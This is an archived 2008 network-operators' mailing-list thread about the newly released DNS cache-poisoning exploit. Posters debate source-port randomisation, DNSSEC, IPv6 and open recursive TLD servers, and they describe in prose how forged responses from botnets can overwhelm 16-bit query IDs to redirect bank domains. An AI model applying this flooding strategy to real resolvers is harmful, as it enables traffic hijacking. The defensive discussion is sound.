1995. don't > try to tell me, or anybody, that dan's work isn't absolutely groundbreaking. > > i am sick and bloody tired of hearing from the people who aren't impressed. Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is groundbreaking, except that threats discussed long ago have become more practical due to the growth of network and processing speeds, which was a hazard that ... was actually ALSO predicted. And you know what? I'll give you the *NEXT* evolutionary steps, which could make you want to cry. If the old code system could result in an infected name server in 11 seconds, this "fix" looks to me to be at best a dangerous and risky exercise at merely reducing the odds. Some criminal enterprise will figure out that you've only reduced the odds to 1/64000 of what they were, but the facts are that if you can redirect some major ISP's resolver to punt www.chase.com or www.citibank.com at your $evil server, and you have large botnets on non-BCP38 networks, you can be pumping out large numbers of answers at the ISP's server without a major commitment in bandwidth locally... and sooner or later, you'll still get a hit. You don't need to win in 11 secs, or even frequently. It can be "jackpot" monthly and you still win. Which is half the problem here. Bandwidth is cheap, and DNS packets are essentially not getting any bigger, so back in the day, maybe this wasn't practical over a 56k or T1 line, but now it is trivial to find a colo with no BCP38 and a gigabit into the Internet. The flip side is all those nice multicore CPU's mean that systems aren't flooded by the responses, and they are instead successfully sorting through all the forged responses, which may work in the attacker's advantage (doh!) This problem really is not practically solvable through the technique that has been applied. Give it another few years, and we'll be to the point where both the QID *and* the source port are simply flooded, and it only takes 11 seconds, thanks to the wonder of ever-faster networks and servers. Whee, ain't progress wonderful. Worse, this patch could be seen as *encouraging* the flooding of DNS servers with fake responses, and this is particularly worrying, since some servers might have trouble with this. So, if we want to continue to ignore proper deployment of DNSSEC or equivalent, there are some things we can do: * Detect and alarm on cache overwrite attempts (kind of a meta-RFC 2181 thing). This could be problematic for environments without consistent DNS data (and yes, I know your opinion of that). * Detect and alarm on mismatched QID attacks (probably at some low threshold level). But the problem is, even detected and alerted, what do you do? Alarming might be handy for the large consumer ISP's, but isn't going to be all that helpful for the universities or fortune 500's that don't have 24/7 staff sitting on top of the nameserver deployment. So, look at other options: * Widen the query space by using multiple IP addresses as source. This, of course, has all the problems with NAT gw's that the port solution did, except worse. This makes using your ISP's "properly designed" resolver even more attractive, rather than running a local recurser on your company's /28 of public IP space, but has the unintended consequence of making those ISP recursers even more valuable targets. Makes you wish for wide deployment of IPv6, eh. > every time some blogger says "this isn't new", another five universities > and ten fortune 500 companies and three ISP's all decide not to patch. > that means we'll have to wait for them to be actively exploited before they > will understand the nature of the emergency. While I applaud the reduction in the attack success rate that the recent patch results in, I am going to take a moment to be critical, and note that I feel you (and the other vendors) squandered a fantastic chance. Just like the Boy Who Cried Wolf, you have a limited number of times that you can cry "vulnerability" and have people mostly all stand up and pay attention in the way that they did. Hardly the first (but possibly one of the most noteworthy), RIPE called for signing of the root zone a year ago. I note with some annoyance that this would have been a great opportunity for someone with a lot of DNS credibility to stand up and say "we need the root signed NOW," and to force the issue. This would have been a lot of work, certainly, but a lot of *worthwhile* work, at various levels. The end result would have been a secure DNS system for those who chose to upgrade and update appropriately. Instead, it looks to me as though the opportunity is past, people are falsely led to believe that their band-aid-patched servers are now "not vulnerable" (oh, I love that term, since it isn't really true!) and the next time we need to cry "fire," fewer people will be interested in changing. The only real fix I see is to deploy DNSSEC. I've tried to keep this message bearably short, so please forgive me if I've glossed over anything or omitted anything. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jtk at centergate.net Thu Jul 24 08:43:04 2008 From: jtk at centergate.net (John Kristoff) Date: Thu, 24 Jul 2008 08:43:04 -0500 Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <200807241006.26010.simonw@zynet.net> References: <20080723.211759.15942.0@webmail14.vgs.untd.com> <200807241006.26010.simonw@zynet.net> Message-ID: <20080724084304.7c730455@t41-0> On Thu, 24 Jul 2008 10:06:25 +0100 Simon Waters wrote: > I checked last night, and noticed TLD servers for .VA and .MUSEUM are > still offering recursion amongst a load of less popular top level > domains. > > Indeed just under 10% of the authoritative name servers mentioned in > the root zone file still offer recursion. While not ideal, at least most resolvers will not go asking those servers for anything other than what they are authoritative for unless an attacker for some reason wanted to setup a long chain of poisons. The large, shared caching servers and all those open CPE devices are a much larger concern I think. John From michael.dillon at bt.com Thu Jul 24 08:57:59 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Thu, 24 Jul 2008 14:57:59 +0100 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241335.m6ODZpfo097197@aurora.sol.net> Message-ID: > So, look at other options: > > * Widen the query space by using multiple IP addresses as > source. This, > of course, has all the problems with NAT gw's that the port solution > did, except worse. > > This makes using your ISP's "properly designed" resolver even more > attractive, rather than running a local recurser on your company's > /28 of public IP space, but has the unintended consequence of making > those ISP recursers even more valuable targets. > > Makes you wish for wide deployment of IPv6, eh. > The only real fix I see is to deploy DNSSEC. You seem to be saying, above, that IPv6 is also a real fix, presumably because it allows for the 64-bit host id portion of an IP address to "fast flux". Or have I misunderstood? It would be nice for someone to explain how (or if) IPv6 changes this situation since many networks are already well into the planning stages for IPv6 deployment within the next two to three years. --Michael Dillon From jmamodio at gmail.com Thu Jul 24 09:10:13 2008 From: jmamodio at gmail.com (Jorge Amodio) Date: Thu, 24 Jul 2008 09:10:13 -0500 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080723.225551.2542.0@webmail01.vgs.untd.com> References: <20080723.225551.2542.0@webmail01.vgs.untd.com> Message-ID: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> > > Sure, I can empathize, to a certain extent. But this issue has > been known for 2+ weeks now. > Well we knew about the DNS issues since long time ago (20+yrs perhaps?), so the issue is not new, just the exploit is more easy to put together and chances for it to succeed are much higher. As I mentioned in another message, perhaps its time to get serious about DNSSEC, where are we on this front ? Cheers Jorge From ka at pacific.net Thu Jul 24 09:06:17 2008 From: ka at pacific.net (Ken A) Date: Thu, 24 Jul 2008 09:06:17 -0500 Subject: https In-Reply-To: <4888348C.3010806@ripe.net> References: <200807232230.m6NMUehk023713@aurora.sol.net> <1216862821.7847.6.camel@luna.unix.geek.nz> <594F3023-022A-406A-950D-1E02945F1B21@ianai.net> <4888348C.3010806@ripe.net> Message-ID: <48888C59.1000406@pacific.net> Robert Kisteleki wrote: > Patrick W. Gilmore wrote: >> Anyone have a foolproof way to get grandma to always put "https://" in >> front of "www"? > > I understand this is a huge can of worms, but maybe it's time to change > the default behavior of browsers from http to https...? > > I'm sure it's doable in FF with a simple plugin, one doesn't have to > wait for FF4. (That would work for bookmarks too.) > > Robert > 80 != 443 There's nobody listening on 443 for most of the Internet. Ken -- Ken Anderson Pacific.Net From vixie at isc.org Thu Jul 24 09:22:09 2008 From: vixie at isc.org (Paul Vixie) Date: Thu, 24 Jul 2008 14:22:09 +0000 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: Your message of "Thu, 24 Jul 2008 08:35:51 EST." <200807241335.m6ODZpfo097197@aurora.sol.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> Message-ID: <27023.1216909329@nsa.vix.com> > > i am sick and bloody tired of hearing from the people who aren't impressed. > > Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is > groundbreaking, except that threats discussed long ago have become more > practical due to the growth of network and processing speeds, which was > a hazard that ... was actually ALSO predicted. 11 seconds. and at&t refuses to patch. and all iphones use those name servers. your move. -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From sean at donelan.com Thu Jul 24 09:32:19 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 10:32:19 -0400 (EDT) Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080723.225551.2542.0@webmail01.vgs.untd.com> References: <20080723.225551.2542.0@webmail01.vgs.untd.com> Message-ID: <0807241020470.25773851401618@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Ferguson wrote: >>> Let's hope some very large service providers get their act together >>> real soon now. >> >> There is always a tension between discovery, changing, testing and > finally deployment. >> > > Sure, I can empathize, to a certain extent. But this issue has > been known for 2+ weeks now. > > Not sure I can be very empathic now, given the seriousness, and the > proper warning ISPs have been given. Also recognize some of the simple testing tools get a bit confused by some of the more complex DNS configurations used by the mega-ISP DNS clusters; and generate false positives (and maybe even false negative) results. You can see it happens when the testing tool reports widely different number of queries checked. Several of the ISPs with complex DNS clusters are patching and upgrading them; however the current state of some of the patches wouldn't support the query load those providers normally experience. So they've been working on alternative mitigation strategies. However, its difficult to now if the alternative strategies actually mitigate the actual threat without knowing the actual threat. And finally, there probably are some providers who haven't made plans to change their DNS. Unfortunately, the testing tools can't read minds (yet), so its difficult to know which ISPs are in this category. From jgreco at ns.sol.net Thu Jul 24 09:42:19 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 09:42:19 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: from "michael.dillon@bt.com" at Jul 24, 2008 02:57:59 PM Message-ID: <200807241442.m6OEgJx9001609@aurora.sol.net> > > So, look at other options: > > > > * Widen the query space by using multiple IP addresses as > > source. This, > > of course, has all the problems with NAT gw's that the port solution > > did, except worse. > > > > This makes using your ISP's "properly designed" resolver even more > > attractive, rather than running a local recurser on your company's > > /28 of public IP space, but has the unintended consequence of making > > those ISP recursers even more valuable targets. > > > > Makes you wish for wide deployment of IPv6, eh. > > > The only real fix I see is to deploy DNSSEC. > > You seem to be saying, above, that IPv6 is also a real fix, presumably > because it allows for the 64-bit host id portion of an IP address to > "fast flux". Or have I misunderstood? No, IPv6 is a *potential* fix for the *problem being discussed*, in a practical but not absolute sense. Let's discard the "fast flux" concept, because that's not really right. Let's instead assume that an entire 64-bit space is available for a DNS server to send requests from, not due to rapidly changing IP addresses, but because they're all bound to loopback, and hence always-on. This means that the server can simultaneously have outstanding requests on different IP's, which is why I want to discard "fast flux" terminology. We had a problem with DNS. The problem identified by the released exploit was the fairly obvious one that the query ID is only 16 bits. What that means is that you can readily guess a correct answer 1/65536 times. So you simply hammer the server with all 65536 answers while asking questions until you win the race between the time the server sends a query and the legitimate server responds, rendering the QID useless. The "port fix" increases the search space significantly. Probably to the point where you can not practically send 65536 * 64512 packets (4 billion, all 65536 possible qid's to all 64512 nonpriv ports) within an appropriate timeframe. Regardless, you can keep trying a small number of bogus answers, and over time, statistical probability says that you will eventually get lucky. The sharp folks will realize that this is essentially what is happening in the first scenario anyways, just with smaller numbers. Expanding the search space by adding 64 bits brings the potential total up to roughly 64 + 16 + 16 bits, or about 96 bits. This reduces the likelihood of success substantially, and even allowing for increased network speeds and processor speeds over time, I don't think you'd get a hit in your lifetime. ;-) However, DNSSEC is a better solution, because it also works to guarantee the integrity of data (it will work to solve MITM, etc). So, for the vulnerability just released, yeah, IPv6 could be a solution, but it is a hacky, ugly, partial solution. It would fairly exhaustively fix the problem at hand, but not the more general problem of trust in DNS. > It would be nice for someone to explain how (or if) IPv6 changes this > situation since many networks are already well into the planning stages > for IPv6 deployment within the next two to three years. Personally, I wouldn't worry too much about it. What we really need is some political backbone behind getting DNSSEC deployed, because the vulnerability that was just released is just one of many possible attacks against the DNS, and DNSSEC is a much better general fix, etc. I do not believe that you will find an IPv6 extension of this sort useful in the short term, and in the long term, I'm hoping for DNSSEC. Now you can fully appreciate my comment: "Makes you wish for wide deployment of IPv6, eh." Because if we did have wide deployment of IPv6, adding 64 bits to the search window would certainly be a practical solution to this particular attack on the protocol. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From smb at cs.columbia.edu Thu Jul 24 09:43:14 2008 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Thu, 24 Jul 2008 10:43:14 -0400 Subject: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> References: <20080723.225551.2542.0@webmail01.vgs.untd.com> <202705b0807240710u111677dex481c51eb675fe7fb@mail.gmail.com> Message-ID: <20080724104314.0319a2f0@cs.columbia.edu> On Thu, 24 Jul 2008 09:10:13 -0500 "Jorge Amodio" wrote: > > > > Sure, I can empathize, to a certain extent. But this issue has > > been known for 2+ weeks now. > > > > Well we knew about the DNS issues since long time ago (20+yrs > perhaps?), so the issue is not new, just the exploit is more easy to > put together and chances for it to succeed are much higher. > This is important. Kaminsky took a known concept and did the hard engineering work to make it feasible. To slightly misuse a quote that's more often applied to crypto, "amateurs worry about algorithms; pros worry about economics". The economics of the attack have now changed. (And we need to get DNSSEC deployed before they change even further.) --Steve Bellovin, http://www.cs.columbia.edu/~smb From swtornio at gmail.com Thu Jul 24 09:47:30 2008 From: swtornio at gmail.com (Steve Tornio) Date: Thu, 24 Jul 2008 09:47:30 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <27023.1216909329@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> Message-ID: <16A4E1CC-1B18-427E-B8A7-51C546349A72@gmail.com> On Jul 24, 2008, at 9:22 AM, Paul Vixie wrote: >>> > 11 seconds. > > and at&t refuses to patch. > > and all iphones use those name servers. This caught my attention, and so I tossed the AT&T wireless card in my laptop and ran the test: [rogue:~] steve% dig +short porttest.dns-oarc.net TXT z.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net. "209.183.54.151 is GOOD: 26 queries in 0.8 seconds from 26 ports with std dev 22831.70" [rogue:~] steve% host 209.183.54.151 151.54.183.209.in-addr.arpa domain name pointer bthinetdns.mycingular.net. doxpara.com tests to lock up my iPhone, or I would use that checker to verify the iPhone DNS. Anyone have a link to a decent test that I could run on the iPhone? Thanks, Steve From justin at justinshore.com Thu Jul 24 09:48:54 2008 From: justin at justinshore.com (Justin Shore) Date: Thu, 24 Jul 2008 09:48:54 -0500 Subject: OT: 2-post rack security covers Message-ID: <48889656.4020107@justinshore.com> Somewhere I've seen what amounts to a concave cover that you can mount over the face of gear racked in a 2-post. The cover I saw had a bracket that mounted to the 2-post before any equipment was installed and it had a couple knobs sticking out (basically consuming a U on each end). Then you racked up the equipment through the holes in the bracket you mounted earlier. Finally the cover (which sticks out about 6") slips over the front of all the gear, down onto the knobs and locks in place with a mechanism that grasps the metal knobs. I've also seen ones that don't lock. The point of this is to provide additional security in a cageless co-lo environment like what you'd find in most COs providing RLEC services as well as prevent accidental damage to the cabling on the front of equipment. Does anyone have a specific name for what I'm talking about? Vendor or product reference? I've looked through all my catalogs and can't find what I'm looking for. I'd like to think that no one would mess with out wiring or devices in those COs but of course I can't guarantee that. The damage someone could do to our cross-connects in a few seconds time is something I'd like to avoid. A SFP or GBIC can be stolen quickly too with minimal effort. No sense in tempting people if it can be helped. Thanks Justin From jgreco at ns.sol.net Thu Jul 24 09:56:32 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 09:56:32 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <27023.1216909329@nsa.vix.com> from "Paul Vixie" at Jul 24, 2008 02:22:09 PM Message-ID: <200807241456.m6OEuXLV002716@aurora.sol.net> > > > i am sick and bloody tired of hearing from the people who aren't impressed. > > > > Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is > > groundbreaking, except that threats discussed long ago have become more > > practical due to the growth of network and processing speeds, which was > > a hazard that ... was actually ALSO predicted. > > 11 seconds. > > and at&t refuses to patch. > > and all iphones use those name servers. > > your move. MY move? Fine. You asked for it. Had I your clout, I would have used this opportunity to convince all these new agencies that the security of the Internet was at risk, and that getting past the "who holds the keys" for the root zone should be dealt with at a later date. Get the root signed and secured. Get the GTLD's signed and secured. Give people the tools and techniques to sign and secure their zones. Focus on banks, ISP's, and other critical infrastructure. You don't have to do all that yourself, since we have all these wonderful new agencies charged with various aspects of keeping our nation secure, including from electronic threats, and certainly there is some real danger here. This in no way prevents you from simultaneously releasing patches to do query source port randomization, of course, and certainly I think that a belt and suspenders solution is perfectly fine, but right now, I'm only seeing the belt... But realizing that going from 11 seconds to (11 * 64512 =) 8.21 days is not a significant jump from the PoV of an attacker would certainly have factored into my decision-making process. But we didn't do my move. We did yours. So back to the real world. You're still vulnerable. Your move. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From jabley at ca.afilias.info Thu Jul 24 10:13:24 2008 From: jabley at ca.afilias.info (Joe Abley) Date: Thu, 24 Jul 2008 11:13:24 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241456.m6OEuXLV002716@aurora.sol.net> References: <200807241456.m6OEuXLV002716@aurora.sol.net> Message-ID: On 24 Jul 2008, at 10:56, Joe Greco wrote: > MY move? Fine. You asked for it. Had I your clout, I would have > used > this opportunity to convince all these new agencies that the > security of > the Internet was at risk, and that getting past the "who holds the > keys" > for the root zone should be dealt with at a later date. Get the root > signed and secured. Even if that was done today, there would still be a risk of cache poisoning for months and years to come. You're confusing the short-term and the long-term measures, here. > Get the GTLD's signed and secured. I encourage you to read some of the paper trail involved with getting ORG signed, something that the current roadmap still doesn't accommodate for the general population of child zones until 2010. It might be illuminating. Even once everything is signed and working well to the zones that registries are publishing, we need to wait for registrars to offer DNSSEC key management to their customers. Even once registrars are equipped, we need people who actually host customer zones to sign them, and to acquire operational competence required to do so well. And even after all this is done, we need a noticeable proportion of the world's caching resolvers to turn on validation, and to keep validation turned on even though the helpdesk phone is ringing off the hook because the people who host the zones your customers are trying to use haven't quite got the hang of DNSSEC yet, and their signatures have all expired. Compared with the problem of global DNSSEC deployment, getting everybody in the world to patch their resolvers looks easy. Joe From ge at linuxbox.org Thu Jul 24 10:20:34 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 24 Jul 2008 10:20:34 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241335.m6ODZpfo097197@aurora.sol.net> References: <200807241335.m6ODZpfo097197@aurora.sol.net> Message-ID: On Thu, 24 Jul 2008, Joe Greco wrote: >> downplay this all you want, we can infect a name server in 11 seconds now, >> which was never true before. i've been tracking this area since 1995. don't >> try to tell me, or anybody, that dan's work isn't absolutely groundbreaking. >> >> i am sick and bloody tired of hearing from the people who aren't impressed. > > Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is > groundbreaking, except that threats discussed long ago have become more > practical due to the growth of network and processing speeds, which was Joe, you should be well aware most of what we face today and will face tomorrow is based on concepts of old, and/or has been thought of/seen before in a different format. But as you well know, threats are still real, especially where the practical vulnerability is hight. Further, this is especially true in the operators communities where unless there is a power point presentation about it, the threat is thought a pipe-dream. > a hazard that ... was actually ALSO predicted. Well, it's here now, and I am happy there is something to be done about it, pro-actively. Gadi. > > And you know what? I'll give you the *NEXT* evolutionary steps, which > could make you want to cry. > > If the old code system could result in an infected name server in 11 > seconds, this "fix" looks to me to be at best a dangerous and risky > exercise at merely reducing the odds. Some criminal enterprise will > figure out that you've only reduced the odds to 1/64000 of what they > were, but the facts are that if you can redirect some major ISP's > resolver to punt www.chase.com or www.citibank.com at your $evil server, > and you have large botnets on non-BCP38 networks, you can be pumping > out large numbers of answers at the ISP's server without a major > commitment in bandwidth locally... and sooner or later, you'll still > get a hit. You don't need to win in 11 secs, or even frequently. It > can be "jackpot" monthly and you still win. > > Which is half the problem here. Bandwidth is cheap, and DNS packets are > essentially not getting any bigger, so back in the day, maybe this wasn't > practical over a 56k or T1 line, but now it is trivial to find a colo with > no BCP38 and a gigabit into the Internet. The flip side is all those nice > multicore CPU's mean that systems aren't flooded by the responses, and they > are instead successfully sorting through all the forged responses, which > may work in the attacker's advantage (doh!) > > This problem really is not practically solvable through the technique that > has been applied. Give it another few years, and we'll be to the point > where both the QID *and* the source port are simply flooded, and it only > takes 11 seconds, thanks to the wonder of ever-faster networks and servers. > Whee, ain't progress wonderful. > > Worse, this patch could be seen as *encouraging* the flooding of DNS > servers with fake responses, and this is particularly worrying, since > some servers might have trouble with this. > > So, if we want to continue to ignore proper deployment of DNSSEC or > equivalent, there are some things we can do: > > * Detect and alarm on cache overwrite attempts (kind of a meta-RFC 2181 > thing). This could be problematic for environments without consistent > DNS data (and yes, I know your opinion of that). > > * Detect and alarm on mismatched QID attacks (probably at some low > threshold level). > > But the problem is, even detected and alerted, what do you do? Alarming > might be handy for the large consumer ISP's, but isn't going to be all > that helpful for the universities or fortune 500's that don't have 24/7 > staff sitting on top of the nameserver deployment. > > So, look at other options: > > * Widen the query space by using multiple IP addresses as source. This, > of course, has all the problems with NAT gw's that the port solution > did, except worse. > > This makes using your ISP's "properly designed" resolver even more > attractive, rather than running a local recurser on your company's > /28 of public IP space, but has the unintended consequence of making > those ISP recursers even more valuable targets. > > Makes you wish for wide deployment of IPv6, eh. > >> every time some blogger says "this isn't new", another five universities >> and ten fortune 500 companies and three ISP's all decide not to patch. >> that means we'll have to wait for them to be actively exploited before they >> will understand the nature of the emergency. > > While I applaud the reduction in the attack success rate that the recent > patch results in, I am going to take a moment to be critical, and note that > I feel you (and the other vendors) squandered a fantastic chance. Just > like the Boy Who Cried Wolf, you have a limited number of times that you can > cry "vulnerability" and have people mostly all stand up and pay attention in > the way that they did. > > Hardly the first (but possibly one of the most noteworthy), RIPE called > for signing of the root zone a year ago. > > I note with some annoyance that this would have been a great opportunity > for someone with a lot of DNS credibility to stand up and say "we need > the root signed NOW," and to force the issue. This would have been a lot > of work, certainly, but a lot of *worthwhile* work, at various levels. > The end result would have been a secure DNS system for those who chose to > upgrade and update appropriately. > > Instead, it looks to me as though the opportunity is past, people are > falsely led to believe that their band-aid-patched servers are now "not > vulnerable" (oh, I love that term, since it isn't really true!) and the > next time we need to cry "fire," fewer people will be interested in > changing. > > The only real fix I see is to deploy DNSSEC. > > I've tried to keep this message bearably short, so please forgive me if > I've glossed over anything or omitted anything. > > ... JG > -- > Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net > "We call it the 'one bite at the apple' rule. Give me one chance [and] then I > won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) > With 24 million small businesses in the US alone, that's way too many apples. > From sean at donelan.com Thu Jul 24 10:21:47 2008 From: sean at donelan.com (Sean Donelan) Date: Thu, 24 Jul 2008 11:21:47 -0400 (EDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <27023.1216909329@nsa.vix.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> Message-ID: <0807241121020.260511804928587@clifden.donelan.com> On Thu, 24 Jul 2008, Paul Vixie wrote: > 11 seconds. > > and at&t refuses to patch. > > and all iphones use those name servers. Has at&t told you they are refusing to patch? Or are you just spreading FUD about at&t and don't actually have any information about their plans? From ge at linuxbox.org Thu Jul 24 10:23:41 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 24 Jul 2008 10:23:41 -0500 (CDT) Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: <20080724084304.7c730455@t41-0> References: <20080723.211759.15942.0@webmail14.vgs.untd.com> <200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: On Thu, 24 Jul 2008, John Kristoff wrote: > On Thu, 24 Jul 2008 10:06:25 +0100 > Simon Waters wrote: > >> I checked last night, and noticed TLD servers for .VA and .MUSEUM are >> still offering recursion amongst a load of less popular top level >> domains. >> >> Indeed just under 10% of the authoritative name servers mentioned in >> the root zone file still offer recursion. > > While not ideal, at least most resolvers will not go asking those > servers for anything other than what they are authoritative for unless > an attacker for some reason wanted to setup a long chain of poisons. The > large, shared caching servers and all those open CPE devices are a > much larger concern I think. Indeed--you won't hear arguments from me on other threats, especially not CPE devices which I fought to bring recognition to. But sticking to the point, TLD servers should (under most circumstances) be recursive. Thing is, those that are, are likely to stay that way. I personally know several folks from within and wayyy from outside the DNS world who discovered this very out there and obvious issue and worked hard to try and contact the operators. Those that haven't fixed it yet, likely won't if all thing remain even. Others I am not aware of likely did the same, withs imilar results. I guess we could try again. Gadi. From ge at linuxbox.org Thu Jul 24 10:31:34 2008 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 24 Jul 2008 10:31:34 -0500 (CDT) Subject: TLD servers with recursion was Re: Exploit for DNS Cache Poisoning - RELEASED In-Reply-To: References: <20080723.211759.15942.0@webmail14.vgs.untd.com> <200807241006.26010.simonw@zynet.net> <20080724084304.7c730455@t41-0> Message-ID: On Thu, 24 Jul 2008, Gadi Evron wrote: > But sticking to the point, TLD servers should (under most circumstances) be Should NEVER, oops. From nenolod at systeminplace.net Thu Jul 24 10:40:03 2008 From: nenolod at systeminplace.net (William Pitcock) Date: Thu, 24 Jul 2008 10:40:03 -0500 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <0807241121020.260511804928587@clifden.donelan.com> References: <200807241335.m6ODZpfo097197@aurora.sol.net> <27023.1216909329@nsa.vix.com> <0807241121020.260511804928587@clifden.donelan.com> Message-ID: <1216914003.25093.432.camel@petrie.sacredspiral.co.uk> On Thu, 2008-07-24 at 11:21 -0400, Sean Donelan wrote: > On Thu, 24 Jul 2008, Paul Vixie wrote: > > 11 seconds. > > > > and at&t refuses to patch. > > > > and all iphones use those name servers. > > Has at&t told you they are refusing to patch? Or are you just spreading > FUD about at&t and don't actually have any information about their plans? > I believe it is a hypothetical situation being presented... William From jgreco at ns.sol.net Thu Jul 24 10:40:40 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Thu, 24 Jul 2008 10:40:40 -0500 (CDT) Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: from "Joe Abley" at Jul 24, 2008 11:13:24 AM Message-ID: <200807241540.m6OFee0Z006818@aurora.sol.net> > > On 24 Jul 2008, at 10:56, Joe Greco wrote: > > > MY move? Fine. You asked for it. Had I your clout, I would have > > used > > this opportunity to convince all these new agencies that the > > security of > > the Internet was at risk, and that getting past the "who holds the > > keys" > > for the root zone should be dealt with at a later date. Get the root > > signed and secured. > > Even if that was done today, there would still be a risk of cache > poisoning for months and years to come. > > You're confusing the short-term and the long-term measures, here. No, I'm not. I did say that the other fix could be implemented regardless. However, since it is at best only a band-aid, it should be treated and understood as such, rather than misinforming people into thinking that their nameservers are "not vulnerable" once they've applied it. So I'm not the confused party. There are certainly a lot of confused parties out there who believe they have servers that are not vulnerable. > > Get the GTLD's signed and secured. > > I encourage you to read some of the paper trail involved with getting > ORG signed, something that the current roadmap still doesn't > accommodate for the general population of child zones until 2010. It > might be illuminating. You know, I've been watching this DNSSEC thing for *years*. I don't need to read any more paper trail. There was no truly good excuse for this not to have been done years ago. > Even once everything is signed and working well to the zones that > registries are publishing, we need to wait for registrars to offer > DNSSEC key management to their customers. > > Even once registrars are equipped, we need people who actually host > customer zones to sign them, and to acquire operational competence > required to do so well. > > And even after all this is done, we need a noticeable proportion of > the world's caching resolvers to turn on validation, and to keep > validation turned on even though the helpdesk phone is ringing off the > hook because the people who host the zones your customers are trying > to use haven't quite got the hang of DNSSEC yet, and their signatures > have all expired. > > Compared with the problem of global DNSSEC deployment, getting > everybody in the world to patch their resolvers looks easy. Of course. That's why I said that deploying this patch was something that could be done *too*. The point, however, was contained in my earlier message. You can only cry "wolf" so many times before a lot of people stop listening. Various evidence over the years leads me to believe that this is any number greater than one time. The point is that I believe the thing to do would have been to use this as a giant push for "DNSSEC Now! No More Excuses!" As it stands, there will likely be another exploit discovered in a year, or five years, or whatever, which is intimately related to this attack, and which DNSSEC would have solved. I don't particularly care to hear excuses about why DNSSEC is {a failure, impractical, can't be deployed, hasn't been deployed, won't be deployed, isn't a solution, isn't useful, etc} because I've probably heard them all before. We should either embrace DNSSEC, or we should simply admit that this is one of the many problems we just don't really care to fix for real. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From herrin-nanog at dirtside.com Thu Jul 24 10:50:23 2008 From: herrin-nanog at dirtside.com (William Herrin) Date: Thu, 24 Jul 2008 11:50:23 -0400 Subject: Paul Vixie: Re: [dns-operations] DNS issue accidentally leaked? In-Reply-To: <200807241335.m6ODZpfo097197@aurora.sol.net> References: <73818.1216878919@nsa.vix.com> <200807241335.m6ODZpfo097197@aurora.sol.net> Message-ID: <3c3e3fca0807240850g4d41f9e6u3c9ab29c81cfd99f@mail.gmail.com> On Thu, Jul 24, 2008 at 9:35 AM, Joe Greco wrote: > Well, Paul, I'm not *too* impressed, and so far, I'm not seeing what is > groundbreaking, except that threats discussed long ago have become more > practical due to the growth of network and processing speeds, which was > a hazard that ... was actually ALSO predicted. Joe, Early attacks were based on returning out-of-scope data in the Additional section of the response. This was an implementation error in the servers: they should never have accepted out of scope data. Later attacks were based on forging responses to a query. The resolver sends a query packet and the attacker has a few tens of milliseconds in which to throw maybe a few tens of guesses about correct ID at the resolver before the real answer arrives from the the real server. These were mitigated because: a. You had maybe a 1 in 1000 chance of guessing right during the window of opportunity. b. If you guessed wrong, you had to wait until the TTL expired to try again, 